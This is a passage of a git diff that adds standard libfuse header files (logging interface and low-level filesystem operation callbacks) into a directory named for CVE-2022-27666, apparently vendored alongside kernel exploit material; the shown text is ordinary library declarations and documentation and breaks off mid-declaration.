fuse_write_in */ +struct fuse_notify_retrieve_in { + uint64_t dummy1; + uint64_t offset; + uint32_t size; + uint32_t dummy2; + uint64_t dummy3; + uint64_t dummy4; +}; + +/* Device ioctls: */ +#define FUSE_DEV_IOC_CLONE _IOR(229, 0, uint32_t) + +struct fuse_lseek_in { + uint64_t fh; + uint64_t offset; + uint32_t whence; + uint32_t padding; +}; + +struct fuse_lseek_out { + uint64_t offset; +}; + +struct fuse_copy_file_range_in { + uint64_t fh_in; + uint64_t off_in; + uint64_t nodeid_out; + uint64_t fh_out; + uint64_t off_out; + uint64_t len; + uint64_t flags; +}; + +#endif /* _LINUX_FUSE_H */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_log.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_log.h new file mode 100644 index 00000000..5e112e0f --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_log.h @@ -0,0 +1,82 @@ +/* + FUSE: Filesystem in Userspace + Copyright (C) 2019 Red Hat, Inc. + + This program can be distributed under the terms of the GNU LGPLv2. + See the file COPYING.LIB. +*/ + +#ifndef FUSE_LOG_H_ +#define FUSE_LOG_H_ + +/** @file + * + * This file defines the logging interface of FUSE + */ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * Log severity level + * + * These levels correspond to syslog(2) log levels since they are widely used. + */ +enum fuse_log_level { + FUSE_LOG_EMERG, + FUSE_LOG_ALERT, + FUSE_LOG_CRIT, + FUSE_LOG_ERR, + FUSE_LOG_WARNING, + FUSE_LOG_NOTICE, + FUSE_LOG_INFO, + FUSE_LOG_DEBUG +}; + +/** + * Log message handler function. + * + * This function must be thread-safe. It may be called from any libfuse + * function, including fuse_parse_cmdline() and other functions invoked before + * a FUSE filesystem is created. + * + * Install a custom log message handler function using fuse_set_log_func(). + * + * @param level log severity level + * @param fmt sprintf-style format string including newline + * @param ap format string arguments + */ +typedef void (*fuse_log_func_t)(enum fuse_log_level level, + const char *fmt, va_list ap); + +/** + * Install a custom log handler function. + * + * Log messages are emitted by libfuse functions to report errors and debug + * information. Messages are printed to stderr by default but this can be + * overridden by installing a custom log message handler function. + * + * The log message handler function is global and affects all FUSE filesystems + * created within this process. + * + * @param func a custom log message handler function or NULL to revert to + * the default + */ +void fuse_set_log_func(fuse_log_func_t func); + +/** + * Emit a log message + * + * @param level severity level (FUSE_LOG_ERR, FUSE_LOG_DEBUG, etc) + * @param fmt sprintf-style format string including newline + */ +void fuse_log(enum fuse_log_level level, const char *fmt, ...); + +#ifdef __cplusplus +} +#endif + +#endif /* FUSE_LOG_H_ */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_lowlevel.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_lowlevel.h new file mode 100644 index 00000000..d73e9fac --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_lowlevel.h @@ -0,0 +1,2100 @@ +/* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + + This program can be distributed under the terms of the GNU LGPLv2. + See the file COPYING.LIB. +*/ + +#ifndef FUSE_LOWLEVEL_H_ +#define FUSE_LOWLEVEL_H_ + +/** @file + * + * Low level API + * + * IMPORTANT: you should define FUSE_USE_VERSION before including this + * header. To use the newest API define it to 35 (recommended for any + * new application). + */ + +#ifndef FUSE_USE_VERSION +#error FUSE_USE_VERSION not defined +#endif + +#include "fuse_common.h" + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ----------------------------------------------------------- * + * Miscellaneous definitions * + * ----------------------------------------------------------- */ + +/** The node ID of the root inode */ +#define FUSE_ROOT_ID 1 + +/** Inode number type */ +typedef uint64_t fuse_ino_t; + +/** Request pointer type */ +typedef struct fuse_req *fuse_req_t; + +/** + * Session + * + * This provides hooks for processing requests, and exiting + */ +struct fuse_session; + +/** Directory entry parameters supplied to fuse_reply_entry() */ +struct fuse_entry_param { + /** Unique inode number + * + * In lookup, zero means negative entry (from version 2.5) + * Returning ENOENT also means negative entry, but by setting zero + * ino the kernel may cache negative entries for entry_timeout + * seconds. + */ + fuse_ino_t ino; + + /** Generation number for this entry. + * + * If the file system will be exported over NFS, the + * ino/generation pairs need to be unique over the file + * system's lifetime (rather than just the mount time). So if + * the file system reuses an inode after it has been deleted, + * it must assign a new, previously unused generation number + * to the inode at the same time. + * + */ + uint64_t generation; + + /** Inode attributes. + * + * Even if attr_timeout == 0, attr must be correct. For example, + * for open(), FUSE uses attr.st_size from lookup() to determine + * how many bytes to request. If this value is not correct, + * incorrect data will be returned. + */ + struct stat attr; + + /** Validity timeout (in seconds) for inode attributes. If + attributes only change as a result of requests that come + through the kernel, this should be set to a very large + value. */ + double attr_timeout; + + /** Validity timeout (in seconds) for the name. If directory + entries are changed/deleted only as a result of requests + that come through the kernel, this should be set to a very + large value. */ + double entry_timeout; +}; + +/** + * Additional context associated with requests. + * + * Note that the reported client uid, gid and pid may be zero in some + * situations. For example, if the FUSE file system is running in a + * PID or user namespace but then accessed from outside the namespace, + * there is no valid uid/pid/gid that could be reported. + */ +struct fuse_ctx { + /** User ID of the calling process */ + uid_t uid; + + /** Group ID of the calling process */ + gid_t gid; + + /** Thread ID of the calling process */ + pid_t pid; + + /** Umask of the calling process */ + mode_t umask; +}; + +struct fuse_forget_data { + fuse_ino_t ino; + uint64_t nlookup; +}; + +/* 'to_set' flags in setattr */ +#define FUSE_SET_ATTR_MODE (1 << 0) +#define FUSE_SET_ATTR_UID (1 << 1) +#define FUSE_SET_ATTR_GID (1 << 2) +#define FUSE_SET_ATTR_SIZE (1 << 3) +#define FUSE_SET_ATTR_ATIME (1 << 4) +#define FUSE_SET_ATTR_MTIME (1 << 5) +#define FUSE_SET_ATTR_ATIME_NOW (1 << 7) +#define FUSE_SET_ATTR_MTIME_NOW (1 << 8) +#define FUSE_SET_ATTR_CTIME (1 << 10) + +/* ----------------------------------------------------------- * + * Request methods and replies * + * ----------------------------------------------------------- */ + +/** + * Low level filesystem operations + * + * Most of the methods (with the exception of init and destroy) + * receive a request handle (fuse_req_t) as their first argument. + * This handle must be passed to one of the specified reply functions. + * + * This may be done inside the method invocation, or after the call + * has returned. The request handle is valid until one of the reply + * functions is called. + * + * Other pointer arguments (name, fuse_file_info, etc) are not valid + * after the call has returned, so if they are needed later, their + * contents have to be copied. + * + * In general, all methods are expected to perform any necessary + * permission checking. However, a filesystem may delegate this task + * to the kernel by passing the `default_permissions` mount option to + * `fuse_session_new()`. In this case, methods will only be called if + * the kernel's permission check has succeeded. + * + * The filesystem sometimes needs to handle a return value of -ENOENT + * from the reply function, which means, that the request was + * interrupted, and the reply discarded. For example if + * fuse_reply_open() return -ENOENT means, that the release method for + * this file will not be called. + */ +struct fuse_lowlevel_ops { + /** + * Initialize filesystem + * + * This function is called when libfuse establishes + * communication with the FUSE kernel module. The file system + * should use this module to inspect and/or modify the + * connection parameters provided in the `conn` structure. + * + * Note that some parameters may be overwritten by options + * passed to fuse_session_new() which take precedence over the + * values set in this handler. + * + * There's no reply to this function + * + * @param userdata the user data passed to fuse_session_new() + */ + void (*init) (void *userdata, struct fuse_conn_info *conn); + + /** + * Clean up filesystem. + * + * Called on filesystem exit. When this method is called, the + * connection to the kernel may be gone already, so that eg. calls + * to fuse_lowlevel_notify_* will fail. + * + * There's no reply to this function + * + * @param userdata the user data passed to fuse_session_new() + */ + void (*destroy) (void *userdata); + + /** + * Look up a directory entry by name and get its attributes. + * + * Valid replies: + * fuse_reply_entry + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the parent directory + * @param name the name to look up + */ + void (*lookup) (fuse_req_t req, fuse_ino_t parent, const char *name); + + /** + * Forget about an inode + * + * This function is called when the kernel removes an inode + * from its internal caches. + * + * The inode's lookup count increases by one for every call to + * fuse_reply_entry and fuse_reply_create. The nlookup parameter + * indicates by how much the lookup count should be decreased. + * + * Inodes with a non-zero lookup count may receive request from + * the kernel even after calls to unlink, rmdir or (when + * overwriting an existing file) rename. Filesystems must handle + * such requests properly and it is recommended to defer removal + * of the inode until the lookup count reaches zero. Calls to + * unlink, rmdir or rename will be followed closely by forget + * unless the file or directory is open, in which case the + * kernel issues forget only after the release or releasedir + * calls. + * + * Note that if a file system will be exported over NFS the + * inodes lifetime must extend even beyond forget. See the + * generation field in struct fuse_entry_param above. + * + * On unmount the lookup count for all inodes implicitly drops + * to zero. It is not guaranteed that the file system will + * receive corresponding forget messages for the affected + * inodes. + * + * Valid replies: + * fuse_reply_none + * + * @param req request handle + * @param ino the inode number + * @param nlookup the number of lookups to forget + */ + void (*forget) (fuse_req_t req, fuse_ino_t ino, uint64_t nlookup); + + /** + * Get file attributes. + * + * If writeback caching is enabled, the kernel may have a + * better idea of a file's length than the FUSE file system + * (eg if there has been a write that extended the file size, + * but that has not yet been passed to the filesystem.n + * + * In this case, the st_size value provided by the file system + * will be ignored. + * + * Valid replies: + * fuse_reply_attr + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi for future use, currently always NULL + */ + void (*getattr) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi); + + /** + * Set file attributes + * + * In the 'attr' argument only members indicated by the 'to_set' + * bitmask contain valid values. Other members contain undefined + * values. + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits if the file + * size or owner is being changed. + * + * If the setattr was invoked from the ftruncate() system call + * under Linux kernel versions 2.6.15 or later, the fi->fh will + * contain the value set by the open method or will be undefined + * if the open method didn't set any value. Otherwise (not + * ftruncate call, or kernel version earlier than 2.6.15) the fi + * parameter will be NULL. + * + * Valid replies: + * fuse_reply_attr + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param attr the attributes + * @param to_set bit mask of attributes which should be set + * @param fi file information, or NULL + */ + void (*setattr) (fuse_req_t req, fuse_ino_t ino, struct stat *attr, + int to_set, struct fuse_file_info *fi); + + /** + * Read symbolic link + * + * Valid replies: + * fuse_reply_readlink + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + */ + void (*readlink) (fuse_req_t req, fuse_ino_t ino); + + /** + * Create file node + * + * Create a regular file, character device, block device, fifo or + * socket node. + * + * Valid replies: + * fuse_reply_entry + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the parent directory + * @param name to create + * @param mode file type and mode with which to create the new file + * @param rdev the device number (only valid if created file is a device) + */ + void (*mknod) (fuse_req_t req, fuse_ino_t parent, const char *name, + mode_t mode, dev_t rdev); + + /** + * Create a directory + * + * Valid replies: + * fuse_reply_entry + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the parent directory + * @param name to create + * @param mode with which to create the new file + */ + void (*mkdir) (fuse_req_t req, fuse_ino_t parent, const char *name, + mode_t mode); + + /** + * Remove a file + * + * If the file's inode's lookup count is non-zero, the file + * system is expected to postpone any removal of the inode + * until the lookup count reaches zero (see description of the + * forget function). + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the parent directory + * @param name to remove + */ + void (*unlink) (fuse_req_t req, fuse_ino_t parent, const char *name); + + /** + * Remove a directory + * + * If the directory's inode's lookup count is non-zero, the + * file system is expected to postpone any removal of the + * inode until the lookup count reaches zero (see description + * of the forget function). + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the parent directory + * @param name to remove + */ + void (*rmdir) (fuse_req_t req, fuse_ino_t parent, const char *name); + + /** + * Create a symbolic link + * + * Valid replies: + * fuse_reply_entry + * fuse_reply_err + * + * @param req request handle + * @param link the contents of the symbolic link + * @param parent inode number of the parent directory + * @param name to create + */ + void (*symlink) (fuse_req_t req, const char *link, fuse_ino_t parent, + const char *name); + + /** Rename a file + * + * If the target exists it should be atomically replaced. If + * the target's inode's lookup count is non-zero, the file + * system is expected to postpone any removal of the inode + * until the lookup count reaches zero (see description of the + * forget function). + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EINVAL, i.e. all + * future bmap requests will fail with EINVAL without being + * send to the filesystem process. + * + * *flags* may be `RENAME_EXCHANGE` or `RENAME_NOREPLACE`. If + * RENAME_NOREPLACE is specified, the filesystem must not + * overwrite *newname* if it exists and return an error + * instead. If `RENAME_EXCHANGE` is specified, the filesystem + * must atomically exchange the two files, i.e. both must + * exist and neither may be deleted. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the old parent directory + * @param name old name + * @param newparent inode number of the new parent directory + * @param newname new name + */ + void (*rename) (fuse_req_t req, fuse_ino_t parent, const char *name, + fuse_ino_t newparent, const char *newname, + unsigned int flags); + + /** + * Create a hard link + * + * Valid replies: + * fuse_reply_entry + * fuse_reply_err + * + * @param req request handle + * @param ino the old inode number + * @param newparent inode number of the new parent directory + * @param newname new name to create + */ + void (*link) (fuse_req_t req, fuse_ino_t ino, fuse_ino_t newparent, + const char *newname); + + /** + * Open a file + * + * Open flags are available in fi->flags. The following rules + * apply. + * + * - Creation (O_CREAT, O_EXCL, O_NOCTTY) flags will be + * filtered out / handled by the kernel. + * + * - Access modes (O_RDONLY, O_WRONLY, O_RDWR) should be used + * by the filesystem to check if the operation is + * permitted. If the ``-o default_permissions`` mount + * option is given, this check is already done by the + * kernel before calling open() and may thus be omitted by + * the filesystem. + * + * - When writeback caching is enabled, the kernel may send + * read requests even for files opened with O_WRONLY. The + * filesystem should be prepared to handle this. + * + * - When writeback caching is disabled, the filesystem is + * expected to properly handle the O_APPEND flag and ensure + * that each write is appending to the end of the file. + * + * - When writeback caching is enabled, the kernel will + * handle O_APPEND. However, unless all changes to the file + * come through the kernel this will not work reliably. The + * filesystem should thus either ignore the O_APPEND flag + * (and let the kernel handle it), or return an error + * (indicating that reliably O_APPEND is not available). + * + * Filesystem may store an arbitrary file handle (pointer, + * index, etc) in fi->fh, and use this in other all other file + * operations (read, write, flush, release, fsync). + * + * Filesystem may also implement stateless file I/O and not store + * anything in fi->fh. + * + * There are also some flags (direct_io, keep_cache) which the + * filesystem may set in fi, to change the way the file is opened. + * See fuse_file_info structure in for more details. + * + * If this request is answered with an error code of ENOSYS + * and FUSE_CAP_NO_OPEN_SUPPORT is set in + * `fuse_conn_info.capable`, this is treated as success and + * future calls to open and release will also succeed without being + * sent to the filesystem process. + * + * Valid replies: + * fuse_reply_open + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + */ + void (*open) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi); + + /** + * Read data + * + * Read should send exactly the number of bytes requested except + * on EOF or error, otherwise the rest of the data will be + * substituted with zeroes. An exception to this is when the file + * has been opened in 'direct_io' mode, in which case the return + * value of the read system call will reflect the return value of + * this operation. + * + * fi->fh will contain the value set by the open method, or will + * be undefined if the open method didn't set any value. + * + * Valid replies: + * fuse_reply_buf + * fuse_reply_iov + * fuse_reply_data + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param size number of bytes to read + * @param off offset to read from + * @param fi file information + */ + void (*read) (fuse_req_t req, fuse_ino_t ino, size_t size, off_t off, + struct fuse_file_info *fi); + + /** + * Write data + * + * Write should return exactly the number of bytes requested + * except on error. An exception to this is when the file has + * been opened in 'direct_io' mode, in which case the return value + * of the write system call will reflect the return value of this + * operation. + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits. + * + * fi->fh will contain the value set by the open method, or will + * be undefined if the open method didn't set any value. + * + * Valid replies: + * fuse_reply_write + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param buf data to write + * @param size number of bytes to write + * @param off offset to write to + * @param fi file information + */ + void (*write) (fuse_req_t req, fuse_ino_t ino, const char *buf, + size_t size, off_t off, struct fuse_file_info *fi); + + /** + * Flush method + * + * This is called on each close() of the opened file. + * + * Since file descriptors can be duplicated (dup, dup2, fork), for + * one open call there may be many flush calls. + * + * Filesystems shouldn't assume that flush will always be called + * after some writes, or that if will be called at all. + * + * fi->fh will contain the value set by the open method, or will + * be undefined if the open method didn't set any value. + * + * NOTE: the name of the method is misleading, since (unlike + * fsync) the filesystem is not forced to flush pending writes. + * One reason to flush data is if the filesystem wants to return + * write errors during close. However, such use is non-portable + * because POSIX does not require [close] to wait for delayed I/O to + * complete. + * + * If the filesystem supports file locking operations (setlk, + * getlk) it should remove all locks belonging to 'fi->owner'. + * + * If this request is answered with an error code of ENOSYS, + * this is treated as success and future calls to flush() will + * succeed automatically without being send to the filesystem + * process. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + * + * [close]: http://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html + */ + void (*flush) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi); + + /** + * Release an open file + * + * Release is called when there are no more references to an open + * file: all file descriptors are closed and all memory mappings + * are unmapped. + * + * For every open call there will be exactly one release call (unless + * the filesystem is force-unmounted). + * + * The filesystem may reply with an error, but error values are + * not returned to close() or munmap() which triggered the + * release. + * + * fi->fh will contain the value set by the open method, or will + * be undefined if the open method didn't set any value. + * fi->flags will contain the same flags as for open. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + */ + void (*release) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi); + + /** + * Synchronize file contents + * + * If the datasync parameter is non-zero, then only the user data + * should be flushed, not the meta data. + * + * If this request is answered with an error code of ENOSYS, + * this is treated as success and future calls to fsync() will + * succeed automatically without being send to the filesystem + * process. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param datasync flag indicating if only data should be flushed + * @param fi file information + */ + void (*fsync) (fuse_req_t req, fuse_ino_t ino, int datasync, + struct fuse_file_info *fi); + + /** + * Open a directory + * + * Filesystem may store an arbitrary file handle (pointer, index, + * etc) in fi->fh, and use this in other all other directory + * stream operations (readdir, releasedir, fsyncdir). + * + * If this request is answered with an error code of ENOSYS and + * FUSE_CAP_NO_OPENDIR_SUPPORT is set in `fuse_conn_info.capable`, + * this is treated as success and future calls to opendir and + * releasedir will also succeed without being sent to the filesystem + * process. In addition, the kernel will cache readdir results + * as if opendir returned FOPEN_KEEP_CACHE | FOPEN_CACHE_DIR. + * + * Valid replies: + * fuse_reply_open + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + */ + void (*opendir) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi); + + /** + * Read directory + * + * Send a buffer filled using fuse_add_direntry(), with size not + * exceeding the requested size. Send an empty buffer on end of + * stream. + * + * fi->fh will contain the value set by the opendir method, or + * will be undefined if the opendir method didn't set any value. + * + * Returning a directory entry from readdir() does not affect + * its lookup count. + * + * If off_t is non-zero, then it will correspond to one of the off_t + * values that was previously returned by readdir() for the same + * directory handle. In this case, readdir() should skip over entries + * coming before the position defined by the off_t value. If entries + * are added or removed while the directory handle is open, the filesystem + * may still include the entries that have been removed, and may not + * report the entries that have been created. However, addition or + * removal of entries must never cause readdir() to skip over unrelated + * entries or to report them more than once. This means + * that off_t can not be a simple index that enumerates the entries + * that have been returned but must contain sufficient information to + * uniquely determine the next directory entry to return even when the + * set of entries is changing. + * + * The function does not have to report the '.' and '..' + * entries, but is allowed to do so. Note that, if readdir does + * not return '.' or '..', they will not be implicitly returned, + * and this behavior is observable by the caller. + * + * Valid replies: + * fuse_reply_buf + * fuse_reply_data + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param size maximum number of bytes to send + * @param off offset to continue reading the directory stream + * @param fi file information + */ + void (*readdir) (fuse_req_t req, fuse_ino_t ino, size_t size, off_t off, + struct fuse_file_info *fi); + + /** + * Release an open directory + * + * For every opendir call there will be exactly one releasedir + * call (unless the filesystem is force-unmounted). + * + * fi->fh will contain the value set by the opendir method, or + * will be undefined if the opendir method didn't set any value. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + */ + void (*releasedir) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi); + + /** + * Synchronize directory contents + * + * If the datasync parameter is non-zero, then only the directory + * contents should be flushed, not the meta data. + * + * fi->fh will contain the value set by the opendir method, or + * will be undefined if the opendir method didn't set any value. + * + * If this request is answered with an error code of ENOSYS, + * this is treated as success and future calls to fsyncdir() will + * succeed automatically without being send to the filesystem + * process. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param datasync flag indicating if only data should be flushed + * @param fi file information + */ + void (*fsyncdir) (fuse_req_t req, fuse_ino_t ino, int datasync, + struct fuse_file_info *fi); + + /** + * Get file system statistics + * + * Valid replies: + * fuse_reply_statfs + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number, zero means "undefined" + */ + void (*statfs) (fuse_req_t req, fuse_ino_t ino); + + /** + * Set an extended attribute + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EOPNOTSUPP, i.e. all + * future setxattr() requests will fail with EOPNOTSUPP without being + * send to the filesystem process. + * + * Valid replies: + * fuse_reply_err + */ + void (*setxattr) (fuse_req_t req, fuse_ino_t ino, const char *name, + const char *value, size_t size, int flags); + + /** + * Get an extended attribute + * + * If size is zero, the size of the value should be sent with + * fuse_reply_xattr. + * + * If the size is non-zero, and the value fits in the buffer, the + * value should be sent with fuse_reply_buf. + * + * If the size is too small for the value, the ERANGE error should + * be sent. + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EOPNOTSUPP, i.e. all + * future getxattr() requests will fail with EOPNOTSUPP without being + * send to the filesystem process. + * + * Valid replies: + * fuse_reply_buf + * fuse_reply_data + * fuse_reply_xattr + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param name of the extended attribute + * @param size maximum size of the value to send + */ + void (*getxattr) (fuse_req_t req, fuse_ino_t ino, const char *name, + size_t size); + + /** + * List extended attribute names + * + * If size is zero, the total size of the attribute list should be + * sent with fuse_reply_xattr. + * + * If the size is non-zero, and the null character separated + * attribute list fits in the buffer, the list should be sent with + * fuse_reply_buf. + * + * If the size is too small for the list, the ERANGE error should + * be sent. + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EOPNOTSUPP, i.e. all + * future listxattr() requests will fail with EOPNOTSUPP without being + * send to the filesystem process. + * + * Valid replies: + * fuse_reply_buf + * fuse_reply_data + * fuse_reply_xattr + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param size maximum size of the list to send + */ + void (*listxattr) (fuse_req_t req, fuse_ino_t ino, size_t size); + + /** + * Remove an extended attribute + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EOPNOTSUPP, i.e. all + * future removexattr() requests will fail with EOPNOTSUPP without being + * send to the filesystem process. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param name of the extended attribute + */ + void (*removexattr) (fuse_req_t req, fuse_ino_t ino, const char *name); + + /** + * Check file access permissions + * + * This will be called for the access() and chdir() system + * calls. If the 'default_permissions' mount option is given, + * this method is not called. + * + * This method is not called under Linux kernel versions 2.4.x + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent success, i.e. this and all future access() + * requests will succeed without being send to the filesystem process. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param mask requested access mode + */ + void (*access) (fuse_req_t req, fuse_ino_t ino, int mask); + + /** + * Create and open a file + * + * If the file does not exist, first create it with the specified + * mode, and then open it. + * + * See the description of the open handler for more + * information. + * + * If this method is not implemented or under Linux kernel + * versions earlier than 2.6.15, the mknod() and open() methods + * will be called instead. + * + * If this request is answered with an error code of ENOSYS, the handler + * is treated as not implemented (i.e., for this and future requests the + * mknod() and open() handlers will be called instead). + * + * Valid replies: + * fuse_reply_create + * fuse_reply_err + * + * @param req request handle + * @param parent inode number of the parent directory + * @param name to create + * @param mode file type and mode with which to create the new file + * @param fi file information + */ + void (*create) (fuse_req_t req, fuse_ino_t parent, const char *name, + mode_t mode, struct fuse_file_info *fi); + + /** + * Test for a POSIX file lock + * + * Valid replies: + * fuse_reply_lock + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + * @param lock the region/type to test + */ + void (*getlk) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi, struct flock *lock); + + /** + * Acquire, modify or release a POSIX file lock + * + * For POSIX threads (NPTL) there's a 1-1 relation between pid and + * owner, but otherwise this is not always the case. For checking + * lock ownership, 'fi->owner' must be used. The l_pid field in + * 'struct flock' should only be used to fill in this field in + * getlk(). + * + * Note: if the locking methods are not implemented, the kernel + * will still allow file locking to work locally. Hence these are + * only interesting for network filesystems and similar. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + * @param lock the region/type to set + * @param sleep locking operation may sleep + */ + void (*setlk) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi, + struct flock *lock, int sleep); + + /** + * Map block index within file to block index within device + * + * Note: This makes sense only for block device backed filesystems + * mounted with the 'blkdev' option + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure, i.e. all future bmap() requests will + * fail with the same error code without being send to the filesystem + * process. + * + * Valid replies: + * fuse_reply_bmap + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param blocksize unit of block index + * @param idx block index within file + */ + void (*bmap) (fuse_req_t req, fuse_ino_t ino, size_t blocksize, + uint64_t idx); + +#if FUSE_USE_VERSION < 35 + void (*ioctl) (fuse_req_t req, fuse_ino_t ino, int cmd, + void *arg, struct fuse_file_info *fi, unsigned flags, + const void *in_buf, size_t in_bufsz, size_t out_bufsz); +#else + /** + * Ioctl + * + * Note: For unrestricted ioctls (not allowed for FUSE + * servers), data in and out areas can be discovered by giving + * iovs and setting FUSE_IOCTL_RETRY in *flags*. For + * restricted ioctls, kernel prepares in/out data area + * according to the information encoded in cmd. + * + * Valid replies: + * fuse_reply_ioctl_retry + * fuse_reply_ioctl + * fuse_reply_ioctl_iov + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param cmd ioctl command + * @param arg ioctl argument + * @param fi file information + * @param flags for FUSE_IOCTL_* flags + * @param in_buf data fetched from the caller + * @param in_bufsz number of fetched bytes + * @param out_bufsz maximum size of output data + * + * Note : the unsigned long request submitted by the application + * is truncated to 32 bits. + */ + void (*ioctl) (fuse_req_t req, fuse_ino_t ino, unsigned int cmd, + void *arg, struct fuse_file_info *fi, unsigned flags, + const void *in_buf, size_t in_bufsz, size_t out_bufsz); +#endif + + /** + * Poll for IO readiness + * + * Note: If ph is non-NULL, the client should notify + * when IO readiness events occur by calling + * fuse_lowlevel_notify_poll() with the specified ph. + * + * Regardless of the number of times poll with a non-NULL ph + * is received, single notification is enough to clear all. + * Notifying more times incurs overhead but doesn't harm + * correctness. + * + * The callee is responsible for destroying ph with + * fuse_pollhandle_destroy() when no longer in use. + * + * If this request is answered with an error code of ENOSYS, this is + * treated as success (with a kernel-defined default poll-mask) and + * future calls to pull() will succeed the same way without being send + * to the filesystem process. + * + * Valid replies: + * fuse_reply_poll + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + * @param ph poll handle to be used for notification + */ + void (*poll) (fuse_req_t req, fuse_ino_t ino, struct fuse_file_info *fi, + struct fuse_pollhandle *ph); + + /** + * Write data made available in a buffer + * + * This is a more generic version of the ->write() method. If + * FUSE_CAP_SPLICE_READ is set in fuse_conn_info.want and the + * kernel supports splicing from the fuse device, then the + * data will be made available in pipe for supporting zero + * copy data transfer. + * + * buf->count is guaranteed to be one (and thus buf->idx is + * always zero). The write_buf handler must ensure that + * bufv->off is correctly updated (reflecting the number of + * bytes read from bufv->buf[0]). + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits. + * + * Valid replies: + * fuse_reply_write + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param bufv buffer containing the data + * @param off offset to write to + * @param fi file information + */ + void (*write_buf) (fuse_req_t req, fuse_ino_t ino, + struct fuse_bufvec *bufv, off_t off, + struct fuse_file_info *fi); + + /** + * Callback function for the retrieve request + * + * Valid replies: + * fuse_reply_none + * + * @param req request handle + * @param cookie user data supplied to fuse_lowlevel_notify_retrieve() + * @param ino the inode number supplied to fuse_lowlevel_notify_retrieve() + * @param offset the offset supplied to fuse_lowlevel_notify_retrieve() + * @param bufv the buffer containing the returned data + */ + void (*retrieve_reply) (fuse_req_t req, void *cookie, fuse_ino_t ino, + off_t offset, struct fuse_bufvec *bufv); + + /** + * Forget about multiple inodes + * + * See description of the forget function for more + * information. + * + * Valid replies: + * fuse_reply_none + * + * @param req request handle + */ + void (*forget_multi) (fuse_req_t req, size_t count, + struct fuse_forget_data *forgets); + + /** + * Acquire, modify or release a BSD file lock + * + * Note: if the locking methods are not implemented, the kernel + * will still allow file locking to work locally. Hence these are + * only interesting for network filesystems and similar. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param fi file information + * @param op the locking operation, see flock(2) + */ + void (*flock) (fuse_req_t req, fuse_ino_t ino, + struct fuse_file_info *fi, int op); + + /** + * Allocate requested space. If this function returns success then + * subsequent writes to the specified range shall not fail due to the lack + * of free space on the file system storage media. + * + * If this request is answered with an error code of ENOSYS, this is + * treated as a permanent failure with error code EOPNOTSUPP, i.e. all + * future fallocate() requests will fail with EOPNOTSUPP without being + * send to the filesystem process. + * + * Valid replies: + * fuse_reply_err + * + * @param req request handle + * @param ino the inode number + * @param offset starting point for allocated region + * @param length size of allocated region + * @param mode determines the operation to be performed on the given range, + * see fallocate(2) + */ + void (*fallocate) 